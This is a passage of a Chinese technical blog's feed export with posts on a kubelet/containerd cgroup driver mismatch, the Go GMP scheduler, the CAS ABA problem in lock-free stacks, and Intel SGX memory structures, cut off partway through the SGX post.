class="section">[plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.runtimes]</span></span><br><span class="line">        <span class="section">[plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.runtimes.runc]</span></span><br><span class="line">          <span class="attr">runtime_type</span> = <span class="string">&quot;io.containerd.runc.v2&quot;</span></span><br><span class="line">          <span class="section">[plugins.&quot;io.containerd.grpc.v1.cri&quot;.containerd.runtimes.runc.options]</span></span><br><span class="line">            <span class="attr">SystemdCgroup</span> = <span class="literal">true</span></span><br></pre></td></tr></table></figure><h2 id="产生问题的原因"><a href="#产生问题的原因" class="headerlink" title="产生问题的原因"></a>产生问题的原因</h2><p>根据issue的里面指导可以看到k8s文档，在linux下又两个cgroup driver，一个是cgroupfs，一个是systemd。</p><p>Kubelet和容器运行时必须要使用一样的cgroup driver才可以。</p><blockquote><p>It’s critical that the kubelet and the container runtime use the same cgroup driver and are configured the same.</p></blockquote><p>根据文档所说kubelet默认情况下用的是cgroupfs</p><p><img src="image1.png"></p><p>但是我这里使用kubeadm v1.32，默认是用的systemd</p><p><img src="image2.png"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /var/lib/kubelet/config.yaml | grep cgroupDriver</span><br></pre></td></tr></table></figure><p><img src="image3.png"></p><p>再看containerd配置，看到默认是cgroupfs而不是system</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">containerd config default &gt; /tmp/1.txt</span><br></pre></td></tr></table></figure><blockquote><p>systemd_cgroup = false</p><p>[plugins.”io.containerd.grpc.v1.cri”.containerd.runtimes.runc.options]<br>BinaryName = “”<br>CriuImagePath = “”<br>CriuPath = “”<br>CriuWorkPath = “”<br>IoGid = 0<br>IoUid = 0<br>NoNewKeyring = false<br>NoPivotRoot = false<br>Root = “”<br>ShimCgroup = “”<br>SystemdCgroup = false</p></blockquote><p>如文档所说，两套cgroup manager同时用会导致不稳定，需要修改runc的启动参数。</p><p><img src="image4.png"></p>]]></content>
    
    
    <summary type="html">kubeadm启动踩坑记录</summary>
    
    
    
    
    <category term="k8s" scheme="https://cl0und.xyz/tags/k8s/"/>
    
  </entry>
  
  <entry>
    <title>与AI纸上谈兵-Go中I/O密集型需要设置P超过CPU核心数吗？</title>
    <link href="https://cl0und.xyz/2025/01/04/%E4%B8%8EAI%E7%BA%B8%E4%B8%8A%E8%B0%88%E5%85%B5-Go%E4%B8%ADI-O%E5%AF%86%E9%9B%86%E5%9E%8B%E9%9C%80%E8%A6%81%E8%AE%BE%E7%BD%AEP%E8%B6%85%E8%BF%87CPU%E6%A0%B8%E5%BF%83%E6%95%B0%E5%90%97%EF%BC%9F/"/>
    <id>https://cl0und.xyz/2025/01/04/%E4%B8%8EAI%E7%BA%B8%E4%B8%8A%E8%B0%88%E5%85%B5-Go%E4%B8%ADI-O%E5%AF%86%E9%9B%86%E5%9E%8B%E9%9C%80%E8%A6%81%E8%AE%BE%E7%BD%AEP%E8%B6%85%E8%BF%87CPU%E6%A0%B8%E5%BF%83%E6%95%B0%E5%90%97%EF%BC%9F/</id>
    <published>2025-01-04T03:39:55.000Z</published>
    <updated>2025-01-12T09:29:02.901Z</updated>
    
    <content type="html"><![CDATA[<h1 id="GO的GMP"><a href="#GO的GMP" class="headerlink" title="GO的GMP"></a>GO的GMP</h1><p>在 Go 语言中，GMP 是 Go 运行时调度器的核心模型，用于高效地管理并发任务（goroutine）的执行。GMP 分别代表：</p><ul><li>G（Goroutine）：Go 中的轻量级线程，表示一个独立的任务或协程。</li><li>M（Machine）：操作系统线程，Go 运行时通过 M 来执行 G。</li><li>P（Processor）：逻辑处理器，负责调度 G 到 M 上运行。</li></ul><p>GMP 模型的设计目的是为了高效利用多核 CPU，同时隐藏底层线程管理的复杂性，提供更高效的并发支持。</p><hr><h3 id="GMP-模型的具体含义"><a href="#GMP-模型的具体含义" class="headerlink" title="GMP 模型的具体含义"></a>GMP 模型的具体含义</h3><ol><li><p>G（Goroutine）</p><ol><li>Goroutine 是 Go 的核心并发单元，类似于协程。</li><li>每个 G 包含任务的执行上下文（如栈、程序计数器等）和调度信息。</li><li>G 是非常轻量级的，创建和销毁的开销远小于操作系统线程。</li></ol></li><li><p>M（Machine）</p><ol><li>M 是操作系统线程的抽象，负责执行 G。</li><li>M 直接与操作系统线程绑定，Go 运行时会动态创建或销毁 M，以适应程序的并发需求。</li><li>一个 M 在任意时刻只能绑定一个 P，且只能执行绑定的 P 中的 G。</li></ol></li><li><p>P（Processor）</p><ol><li>P 是逻辑处理器，负责调度 G 到 M 上运行。</li><li>P 的数量由 <code>GOMAXPROCS</code> 决定，表示程序可以并行运行的最大线程数。</li><li>P 维护一个本地的 G 队列，存储待执行的 Goroutine。</li><li>如果 P 的 G 队列为空，它可以从其他 P 的队列中窃取任务（work stealing）。</li></ol></li></ol><hr><h3 id="GMP-的工作流程"><a href="#GMP-的工作流程" class="headerlink" title="GMP 的工作流程"></a>GMP 的工作流程</h3><ol><li><p>G 的创建</p><ol><li>当程序创建一个新的 Goroutine 时，G 会被放入某个 P 的本地队列中，等待被调度执行。</li></ol></li><li><p>P 调度 G</p><ol><li>P 从自己的本地队列中取出 G，并将其分配给绑定的 M 执行。</li><li>如果本地队列为空，P 会尝试从其他 P 的队列中窃取任务。</li></ol></li><li><p>M 执行 G</p><ol><li>M 负责实际执行 G 的代码。</li><li>如果 G 阻塞（如 I/O 操作），M 会将当前 G 挂起，并尝试执行其他 G。</li></ol></li><li><p>动态调整</p><ol><li>如果 G 的数量远超 M 的数量，Go 运行时会动态创建新的 M。</li><li>如果某些 M 长时间空闲，Go 运行时会销毁这些 M，以节省资源。</li></ol></li></ol><hr><h3 id="GMP-模型的优点"><a href="#GMP-模型的优点" class="headerlink" title="GMP 模型的优点"></a>GMP 模型的优点</h3><ol><li><p>高效的并发支持</p><ol><li>Goroutine 是轻量级的，创建和切换的开销远小于操作系统线程。</li><li>GMP 模型通过逻辑处理器（P）和任务窃取机制，充分利用多核 CPU 的性能。</li></ol></li><li><p>自动调度</p><ol><li>Go 运行时自动管理 Goroutine 的调度，开发者无需手动管理线程。</li></ol></li><li><p>阻塞操作优化</p><ol><li>当 Goroutine 阻塞时，Go 运行时会将其挂起，并调度其他 Goroutine 执行，避免线程资源浪费。</li></ol></li></ol><h1 id="In-the-Go-GMP-model-does-an-IO-intensive-application-need-to-set-the-number-of-P-greater-than-the-number-of-CPU-cores"><a href="#In-the-Go-GMP-model-does-an-IO-intensive-application-need-to-set-the-number-of-P-greater-than-the-number-of-CPU-cores" class="headerlink" title="In the Go GMP model, does an IO-intensive application need to set the number of P greater than the number of CPU cores?"></a>In the Go GMP model, does an IO-intensive application need to set the number of P greater than the number of CPU cores?</h1><p>No, an I/O-intensive application in Go’s GMP (Goroutine, Machine, Processor) model generally <em>does not</em> need to set <code>GOMAXPROCS</code> (the number of P’s) greater than the number of CPU cores. In fact, doing so can often be detrimental to performance. Here’s why:</p><ul><li><strong>Concurrency vs. Parallelism:</strong> Go’s strength lies in concurrency, not necessarily parallelism. Concurrency means handling multiple tasks at the same time, while parallelism means executing multiple tasks simultaneously. I/O-bound operations spend most of their time waiting for external resources (disk, network, etc.). During this waiting time, the OS puts the goroutine to sleep. Another goroutine can then run on the same OS thread (and thus, the same P). Increasing the number of P’s won’t make the I/O faster; it just adds overhead for context switching between P’s.</li><li><strong>OS Thread Management:</strong> The P’s are mapped to OS threads. Having more P’s than CPU cores means the OS scheduler will be constantly switching between threads, leading to context switching overhead.() This overhead can outweigh any potential gains, especially in I/O-bound applications where the CPU is not the bottleneck.</li><li><strong>Blocking System Calls:</strong> When a goroutine makes a blocking system call (like reading from a file or network socket), the associated OS thread is blocked. However, the Go runtime uses a technique called “network poller” to handle network I/O efficiently. For file I/O, if the runtime detects a long blocking operation, it can detach the M (OS thread) from the P, allowing other goroutines to run on that P. When the I/O operation completes, the M is reattached. This mechanism minimizes blocking and context switching.</li></ul><h1 id="I-O时会发生什么？"><a href="#I-O时会发生什么？" class="headerlink" title="I/O时会发生什么？"></a>I/O时会发生什么？</h1><p><strong>网络 I/O：</strong> Go runtime 使用非阻塞的 I/O 模型和 epoll/kqueue 等操作系统提供的 I/O 多路复用机制（network poller）。当一个 G 发起网络 I/O 操作时，通常不会阻塞 M。而是将 I/O 请求交给操作系统，然后该 G 会被放入网络轮询器(network poller)中等待 I/O 事件。P 可以继续调度其他 G 在 M 上执行。当 I/O 事件发生时，runtime 会收到通知，并将相应的 G 重新放回 P 的 runqueue 中，等待调度。</p><p><strong>文件 I/O (以及其他可能长时间阻塞的系统调用)：</strong> 对于文件 I/O，如果操作是阻塞的（例如读取大文件），则情况会略有不同。在这种情况下：</p><ul><li>如果 runtime 判定此 I/O 操作会长时间阻塞，会将  <strong>M 从 P 上解绑</strong> 。这个过程叫做 <code>sysmon</code> 会检测，当一个 M 阻塞时间过长，sysmon会把这个M和P分离。</li><li>此时，P 就变成空闲状态了，它可以寻找其他的 M 来绑定，或者创建新的 M。这样，其他的 G 就有机会在这个 P 上继续执行，不会因为某个 G 的文件 I/O 操作而导致整个 P 阻塞。</li><li>当 I/O 操作完成时，被解绑的 M 会尝试重新获取一个 P。如果此时有空闲的 P，则直接绑定；如果没有空闲的 P，则 M 会进入一个空闲 M 列表等待 P。</li></ul><h1 id="更多解绑细节"><a href="#更多解绑细节" class="headerlink" title="更多解绑细节"></a>更多<strong>解绑细节</strong></h1><p>当 <code>sysmon</code> 将 M 和 P 解绑后，P 不会立即创建新的 M。P 的行为如下：</p><ol><li><strong>检查本地 runqueue：</strong> P 首先会检查其本地的 runqueue (runq) 中是否还有待执行的 G。如果 runqueue 不为空，P 会选择一个 G，并尝试找到一个 <em>空闲的 M</em> 来执行该 G。</li><li><strong>寻找空闲 M：</strong> P 会首先查看是否有空闲的 M 列表 (idle M list)。如果存在空闲的 M，P 会直接与该 M 绑定，然后将 runqueue 中的 G 调度到该 M 上执行。</li><li><strong>创建新的 M（如果需要）：</strong> 如果没有空闲的 M 可用，且 P 的 runqueue 不为空，P <em>才会</em> 创建一个新的 M，并与该 M 绑定，然后将 runqueue 中的 G 调度到该 M 上执行。</li><li><strong>窃取 (work stealing)：</strong> 如果 P 的 runqueue 也为空，P 会尝试从其他 P 的 runqueue 中 <em>窃取</em> 一部分 G。这是 Go 调度器实现负载均衡的重要机制。如果窃取成功，P 就会有待执行的 G，并按照上述步骤寻找或创建 M 来执行。</li><li><strong>进入休眠 (spinning)：</strong> 如果 P 的 runqueue 为空，且无法从其他 P 窃取到 G，P 会进入休眠状态 (spinning)。此时 P 不会消耗 CPU 资源，直到有新的 G 需要执行时才会被唤醒。</li></ol><h1 id="还有一个细节"><a href="#还有一个细节" class="headerlink" title="还有一个细节"></a>还有一个细节</h1><p>sysmon是发现它是文件i/o所以分离M和P。还是因为他syscall时间太长所以分离。注意这两个的区别，一个是提前就发现了，一个是超时了才发现。</p><ol><li><strong>不是提前发现是文件 I/O</strong></li></ol><p>Go runtime 并不会在 G 执行系统调用 <em>之前</em> 就判断这是不是文件 I/O，然后采取特殊处理。实际上，runtime 对所有类型的阻塞系统调用都采用相同的处理方式，包括文件 I/O、网络 I/O（在某些情况下，虽然通常是异步的，但也可能发生阻塞）、以及其他用户自定义的阻塞系统调用。</p><p>这意味着：</p><ul><li>runtime 没有维护一个“文件 I/O 特殊处理”的列表或逻辑。</li><li>runtime 不会区分系统调用的类型。</li></ul><ol start="2"><li><strong>是 syscall 时间太长才分离</strong></li></ol><p><code>sysmon</code> 的核心工作是  <em>监控</em> ，而不是  <em>预判</em> 。它通过周期性地检查所有 M 的状态来判断是否有 M 阻塞在系统调用上的时间过长。这个“过长”的阈值通常是 10ms。</p><p>具体流程如下：</p><ol><li>G 执行一个系统调用。</li><li>runtime 将该 G 的状态标记为 <code>_Gsyscall</code>。</li><li>该 G 所在的 M 进入阻塞状态，等待系统调用完成。</li><li><code>sysmon</code> 周期性地检查所有 M 的状态。</li><li>如果 <code>sysmon</code> 发现某个 M 的状态为 <code>_Gsyscall</code>，并且持续时间超过阈值（10ms），它就认为该 M 正在执行长时间阻塞的系统调用。</li><li><code>sysmon</code> 将该 M 与其绑定的 P 解绑。</li></ol><p>因此，分离 M 和 P 的  <em>根本原因是超时</em> ，而不是提前知道是哪种类型的系统调用。</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p>Google Gemini2.0</p>]]></content>
    
    
    <summary type="html">GMP model</summary>
    
    
    
    
    <category term="talking big" scheme="https://cl0und.xyz/tags/talking-big/"/>
    
    <category term="golang" scheme="https://cl0und.xyz/tags/golang/"/>
    
  </entry>
  
  <entry>
    <title>与AI纸上谈兵-CAS的ABA问题</title>
    <link href="https://cl0und.xyz/2025/01/04/%E4%B8%8EAI%E7%BA%B8%E4%B8%8A%E8%B0%88%E5%85%B5-CAS%E7%9A%84ABA%E9%97%AE%E9%A2%98/"/>
    <id>https://cl0und.xyz/2025/01/04/%E4%B8%8EAI%E7%BA%B8%E4%B8%8A%E8%B0%88%E5%85%B5-CAS%E7%9A%84ABA%E9%97%AE%E9%A2%98/</id>
    <published>2025-01-04T03:39:17.000Z</published>
    <updated>2025-01-04T03:48:23.652Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CAS"><a href="#CAS" class="headerlink" title="CAS"></a>CAS</h1><blockquote><p><code>CAS</code>即<code>Compare And Swap</code>的缩写，翻译成中文就是 <strong>比较并交换</strong> ，其作用是让CPU比较内存中某个值是否和预期的值相同，如果相同则将这个值更新为新值，不相同则不做更新，也就是CAS是<strong>原子性</strong>的操作(读和写两者同时具有原子性)，其实现方式是通过借助<code>C/C++</code>调用CPU指令完成的，所以效率很高。</p></blockquote><h1 id="用CAS来实现一个无锁栈"><a href="#用CAS来实现一个无锁栈" class="headerlink" title="用CAS来实现一个无锁栈"></a>用CAS来实现一个无锁栈</h1><p>设想我们实现了一个无锁栈，用链表节点表示栈中的元素，其中<code>top</code>指针指向栈顶元素。为了实现高效和线程安全的出栈操作，我们使用CAS更新<code>top</code>指针。一个典型的出栈伪代码可能是以下形式：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">pop</span>(<span class="params"></span>) &#123;  </span><br><span class="line">    <span class="keyword">do</span> &#123;  </span><br><span class="line">        oldTop = top  <span class="comment">// 获取当前栈顶节点  </span></span><br><span class="line">        <span class="keyword">if</span> (oldTop == <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>  <span class="comment">// 栈为空  </span></span><br><span class="line">        &#125;  </span><br><span class="line">        newTop = oldTop.<span class="property">next</span>  <span class="comment">// 栈顶将被移除，新的栈顶是下一个  </span></span><br><span class="line">    &#125; <span class="keyword">while</span> (!<span class="title function_">compare_and_swap</span>(top, oldTop, newTop))  <span class="comment">// CAS操作，尝试更新栈顶  </span></span><br><span class="line">    <span class="keyword">return</span> oldTop.<span class="property">value</span>  <span class="comment">// 返回栈顶的值  </span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="ABA问题-在无锁栈中"><a href="#ABA问题-在无锁栈中" class="headerlink" title="ABA问题-在无锁栈中"></a>ABA问题-在无锁栈中</h1><p>假设以下线程和操作按顺序发生：</p><ol><li>线程A：调用<code>pop</code>，读取<code>oldTop</code>，其值是节点A。</li><li>线程B：调用两次<code>pop</code>，依次移除了节点A和节点B，并随后将节点A重新压回栈（通过<code>push</code>操作），此时栈的<code>top</code>再次指向节点A。</li><li>线程A：继续执行刚才的CAS操作，发现<code>top</code>的值仍然是节点A（因为线程B又将节点A压回栈），CAS 操作通过。</li></ol><p>看似 CAS 成功了，但线程A并不知道，栈的结构已经在它检查<code>oldTop</code>和执行CAS之间发生了改变。此时<strong>返回的节点A</strong>可能已经不再安全使用，因为它的状态已经被修改，或者栈本身的数据结构可能已经遭到破坏。</p><h1 id="ABA问题-在“生活”中"><a href="#ABA问题-在“生活”中" class="headerlink" title="ABA问题-在“生活”中"></a>ABA问题-在“生活”中</h1><p>小明在提款机，提取了50元，因为提款机问题，有两个线程，同时把余额从100变为50</p><p>线程1（提款机）：获取当前值100，期望更新为50，</p><p>线程2（提款机）：获取当前值100，期望更新为50，</p><p>线程1成功执行，线程2某种原因block了，这时，某人给小明汇款50</p><p>线程3（默认）：获取当前值50，期望更新为100，</p><p>这时候线程3成功执行，余额变为100，</p><p>线程2从Block中恢复，获取到的也是100，compare之后，继续更新余额为50！！！</p><p>此时可以看到，实际余额应该为100（100-50+50），但是实际上变为了50（100-50+50-50）这就是ABA问题带来的成功提交。</p><h1 id="ABA问题的解决"><a href="#ABA问题的解决" class="headerlink" title="ABA问题的解决"></a>ABA问题的解决</h1><p>在变量前面加上版本号，每次变量更新的时候变量的 <strong>版本号都</strong> <code>+1</code>，即<code>A-&gt;B-&gt;A</code>就变成了<code>1A-&gt;2B-&gt;3A</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Node</span>&lt;T&gt; &#123;  </span><br><span class="line">    T value;  </span><br><span class="line">    Node&lt;T&gt; next;  </span><br><span class="line">    <span class="type">long</span> version; <span class="comment">// 添加版本号字段  </span></span><br><span class="line">&#125;  </span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">VersionedReference</span>&lt;T&gt; &#123;  </span><br><span class="line">    Node&lt;T&gt; reference;  </span><br><span class="line">    <span class="type">long</span> version;  </span><br><span class="line">  </span><br><span class="line">    VersionedReference(Node&lt;T&gt; ref, <span class="type">long</span> ver) &#123;  </span><br><span class="line">        reference = ref;  </span><br><span class="line">        version = ver;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;  </span><br><span class="line"></span><br><span class="line">function <span class="title function_">pop</span><span class="params">()</span> &#123;  </span><br><span class="line">    VersionedReference&lt;T&gt; oldTop;  </span><br><span class="line">    Node&lt;T&gt; newTop;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">do</span> &#123;  </span><br><span class="line">        oldTop = top.get(); <span class="comment">// 获取当前的引用和版本号  </span></span><br><span class="line">        <span class="keyword">if</span> (oldTop.reference == <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>; <span class="comment">// 栈为空  </span></span><br><span class="line">        &#125;  </span><br><span class="line">        newTop = oldTop.reference.next; <span class="comment">// 新的栈顶是下一个节点  </span></span><br><span class="line">      </span><br><span class="line">        <span class="comment">// CAS操作会同时比较引用和版本号  </span></span><br><span class="line">    &#125; <span class="keyword">while</span> (!top.compareAndSet(  </span><br><span class="line">        oldTop,  <span class="comment">// 期望的旧值(包含引用和版本号)  </span></span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">VersionedReference</span>(newTop, oldTop.version + <span class="number">1</span>)  <span class="comment">// 新值(更新引用和版本号)  </span></span><br><span class="line">    ));  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">return</span> oldTop.reference.value;  </span><br><span class="line">&#125;  </span><br></pre></td></tr></table></figure><h1 id="什么是原语？"><a href="#什么是原语？" class="headerlink" title="什么是原语？"></a>什么是原语？</h1><blockquote><p>计算机是一门人造科学，因此真正意义上的“原语”是不存在的。操作系统层面上的“原语”（比如 write 之类的系统调用）对程序员来讲的确是不可分割的最小单位，但是这写系统调用本身还是用好几句汇编语句组成的（对于 Linux 来说是 C 语言）。可能有人要说到了机器代码这一级就不能再分了，但事实上一条机器指令也是由好几个组合逻辑信号构成的。同样的道理，控制信号也不过是无数电子在器件内部漂移的结果。</p><p>因此定义“原语”的前提是观察者所处的位置。一旦规定了观察者的位置和观察的角度，比如就在操作系统的这层上，read，wirte，wait这些个系统调用自然就是最“原始”的词汇，这也是为什么“原语”会在操作系统中频繁出现的缘故。</p></blockquote><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://www.cnblogs.com/hualalasummer/p/3704225.html">什么是“原语”</a></p><p><a href="https://juejin.cn/post/6844903796129136647">CAS原理分析及ABA问题详解</a></p><p>Claude 3.5 sonnet</p>]]></content>
    
    
    <summary type="html">Compare And Swap</summary>
    
    
    
    
    <category term="talking big" scheme="https://cl0und.xyz/tags/talking-big/"/>
    
  </entry>
  
  <entry>
    <title>Intel SGX（Software Guard Extensions）速记</title>
    <link href="https://cl0und.xyz/2024/12/01/Intel-SGX%EF%BC%88Software-Guard-Extensions%EF%BC%89%E9%80%9F%E8%AE%B0/"/>
    <id>https://cl0und.xyz/2024/12/01/Intel-SGX%EF%BC%88Software-Guard-Extensions%EF%BC%89%E9%80%9F%E8%AE%B0/</id>
    <published>2024-12-01T15:17:33.000Z</published>
    <updated>2024-12-01T15:30:12.888Z</updated>
    
    <content type="html"><![CDATA[<h1 id="SGX的作用"><a href="#SGX的作用" class="headerlink" title="SGX的作用"></a>SGX的作用</h1><blockquote><p>SGX使得应用程序在一段位于Enclave地址空间中能够开辟一段受保护的内存空间。这段受保护空间实行严格的访问控制和加密操作来提供对程序数据机密性和代码完整性的保护，使得即使是Hypervisor、BIOS，操作系统等特权应用都不能随意访问这段地址空间</p></blockquote><h1 id="SGX的启用"><a href="#SGX的启用" class="headerlink" title="SGX的启用"></a>SGX的启用</h1><blockquote><p>SGX support can be checked by executing the CPUID instruction with the <em>Structured Extended Feature Leaf</em> flag set, and checking if the second bit of the EBX register is set. To be able to use SGX, it must have been enabled by BIOS, and only a few BIOSes actually support this technology. That is one of the reasons it is not widely used.</p></blockquote><h1 id="Enclave"><a href="#Enclave" class="headerlink" title="Enclave"></a>Enclave</h1><p>在Intel SGX（Software Guard Extensions）中，Enclave是一个受硬件保护的安全执行环境（Trusted Execution Environment, TEE）。Enclave是一个运行环境的概念，但它也可以被视为一个程序实体的逻辑单元，因为它承载了特定的代码和数据，并在运行时提供隔离和保护。</p><p>程序在编译时会被被分为non-secure和secure part (运行在enclave中)。当调用enclave function时，程序会进入enclave环境，只有enclave中的代码可以访问enclave中数据。</p><p><img src="image1.png"></p><p><img src="image2.png"></p><p>一个代码的例子</p><p><img src="image3.png"></p><h1 id="INTEL-SGX指令"><a href="#INTEL-SGX指令" class="headerlink" title="INTEL SGX指令"></a>INTEL SGX指令</h1><p>ring0支持左边8个指令，ring3支持右边五个指令。</p><p><img src="image4.png"></p><h1 id="内存中的关键概念"><a href="#内存中的关键概念" class="headerlink" title="内存中的关键概念"></a>内存中的关键概念</h1><p><img src="image5.png"></p><h2 id="PRM-Preserved-Random-Memory"><a href="#PRM-Preserved-Random-Memory" class="headerlink" title="PRM (Preserved Random Memory)"></a>PRM (Preserved Random Memory)</h2><ul><li>是DRAM中一段连续的保留内存区域</li><li>位于最低的BIOS层</li><li>不能被任何普通软件直接访问</li></ul><h2 id="EPC-Enclave-Page-Cache"><a href="#EPC-Enclave-Page-Cache" class="headerlink" title="EPC (Enclave Page Cache)"></a>EPC (Enclave Page Cache)</h2><ul><li>是PRM中的一部分</li><li>由操作系统负责分配</li><li>是4KB大小的内存页面组成的集合</li><li>用于存储Enclave的代码和数据</li><li>内存会被<em>Memory Encryption Engine</em>加密。只有在物理CPU中才会被解密。加密的密钥在boot time时被生成并存储在CPU中。</li></ul><p><img src="image6.png"></p><h2 id="EPCM-Enclave-Page-Cache-Map"><a href="#EPCM-Enclave-Page-Cache-Map" class="headerlink" title="EPCM  (Enclave Page Cache Map)"></a>EPCM  (Enclave Page Cache Map)</h2><ul><li>EPCM不存储在EPC或PRM中，EPCM是一个硬件级的数据结构。存储在处理器的专用存储区域中（例如，处理器内部的寄存器或缓存中）</li><li>EPCM在处理器内部，软件（ <strong>包括Enclave代码</strong> 、操作系统）都无法直接访问。</li><li>EPCM是一个硬件维护的表，用于记录EPC中每个页面的元数据（metadata）。</li><li>它跟踪EPC页面的分配状态、所属Enclave、页面类型（如代码页、数据页、TCS页等）以及访问权限。</li></ul><p>EPCM结构体</p><p><img src="image7.png"></p><ul><li><p>VALID：</p><ul><li>标志页面是否已分配。</li><li>如果为<code>0</code>，表示该页面未被分配。</li></ul></li><li><p>PT（Page Type）：</p><ul><li><p>指定页面的类型，例如：</p><ul><li><code>PT_REG</code>：普通数据或代码页面。</li><li><code>PT_SECS</code>：SECS页面。</li><li><code>PT_TCS</code>：线程控制结构（TCS）页面。</li></ul></li></ul></li><li><p>ENCLAVESECS：</p><ul><li>标识页面所属的Enclave。</li><li>确保页面只能被其所属的Enclave访问，防止跨Enclave的非法访问。</li></ul></li><li><p>ADDRESS：</p><ul><li>页面对应的虚拟地址，用于访问该页面。</li></ul></li><li><p>R/W/X（权限位）：</p><ul><li><p>控制页面的访问权限：</p><ul><li><code>R</code>：允许Enclave代码读取页面。</li><li><code>W</code>：允许Enclave代码写入页面。</li><li><code>X</code>：允许在页面中执行代码。</li></ul></li></ul></li></ul><p>单个PRM中只有一个EPC区域：</p><ul><li>PRM中的一部分被划分为EPC，用于存储Enclave的页面（代码和数据）。</li><li>EPC是一个连续的内存区域，其大小由硬件和BIOS配置决定（通常是128MB，但可能更小或更大，具体取决于处理器型号和系统配置）。</li><li>换句话说，PRM中只有一个EPC区域，而不是多个EPC。</li><li>多个Enclave的页面会被分配到同一个EPC区域中，但硬件确保它们之间的隔离和安全性。(EPCM确保)</li><li>每个Enclave需要占用一定数量的EPC页面。如果EPC空间不足，系统可能会通过SGX的换页机制（paging）将部分EPC页面换出到普通内存中。</li></ul><h2 id="SECS-SGX-Enclave-Control-Structure"><a href="#SECS-SGX-Enclave-Control-Structure" class="headerlink" title="SECS (SGX Enclave Control Structure)"></a>SECS (SGX Enclave Control Structure)</h2><p><strong>一个Enclave对应一个SECS</strong></p><ul><li><p>SECS的作用：</p><ul><li><p>SECS是每个Enclave的核心元数据结构，存储了Enclave的关键信息，包括：</p><ul><li>密码学测度（Measurement）：用于认证Enclave的完整性。</li><li>Enclave的身份信息：如Enclave的创建参数、大小、属性等。</li></ul></li><li><p>SECS是EPC中的一个页面，但它受到严格的硬件保护， <strong>只有SGX硬件和微码可以访问和修改</strong> 。</p></li></ul></li><li><p>安全性要求：</p><ul><li>如果Enclave中的代码能够直接修改SECS中的数据（如密码学测度或身份信息），将破坏SGX的安全模型。</li><li>为此，SGX硬件通过EPCM中的权限控制字段，确保SECS页面只能由SGX硬件访问，而不能被Enclave代码或外部软件直接修改。</li></ul></li></ul><h2 id="TCS-Thread-Control-Structure"><a href="#TCS-Thread-Control-Structure" class="headerlink" title="TCS (Thread Control Structure)"></a>TCS (Thread Control Structure)</h2><p>和SECS一样，不能被其他软件包括enclave中的代码本省修改。一个enclave至少有一个，因为它为多线程而生，所以也可以有多个。</p><blockquote><p>The SGX design fully supports multi-core processors. It is possible for multiple logical processors to concurrently execute the same enclave’s code at the same time, via different threads.</p><p>The SGX implementation uses a Thread Control Structure (TCS) for each logical processor that executes an enclave’s code.</p></blockquote><h2 id="SSA-Save-State-Area"><a href="#SSA-Save-State-Area" class="headerlink" title="SSA(Save State Area)"></a>SSA(Save State Area)</h2><p>一个TCS至少有有一个SSA用于在线程因为中断或者异常退出时保存状态，在恢复时从这里面读取状态。</p><h2 id="Stack-and-Heap"><a href="#Stack-and-Heap" class="headerlink" title="Stack and Heap"></a>Stack and Heap</h2><p>有自己的堆栈</p><p><img src="image8.png"></p><h1 id="Intel-SGX信任根与信任链建立过程"><a href="#Intel-SGX信任根与信任链建立过程" class="headerlink" title="Intel SGX信任根与信任链建立过程"></a>Intel SGX信任根与信任链建立过程</h1><h2 id="一、硬件信任根初始化"><a href="#一、硬件信任根初始化" class="headerlink" title="一、硬件信任根初始化"></a>一、硬件信任根初始化</h2><h3 id="1-Intel-SGX硬件密钥体系"><a href="#1-Intel-SGX硬件密钥体系" class="headerlink" title="1. Intel SGX硬件密钥体系"></a>1. Intel SGX硬件密钥体系</h3><ul><li><p>基础密钥(Root Provisioning Key和Root Seal Key)在制造时烧录到熔丝(Fuse)中</p></li><li><p>采用密钥派生机制(Key Derivation)生成其他功能密钥:</p><ul><li>Provisioning Key: 用于远程认证</li><li>Seal Key: 用于数据加密存储</li><li>Report Key: 用于本地报告签名</li><li>Launch Key: 用于Enclave启动控制</li></ul></li></ul><h3 id="2-SGX硬件可信模块"><a href="#2-SGX硬件可信模块" class="headerlink" title="2. SGX硬件可信模块"></a>2. SGX硬件可信模块</h3><ul><li>测量引擎(Measurement Engine)</li><li>密钥派生引擎(Key Derivation Engine)</li><li>加密引擎(Encryption Engine)</li><li>签名验证引擎(Signature Verification Engine)</li><li>安全内存管理单元(Memory Management Unit)</li></ul><h2 id="二、Enclave创建与测量"><a 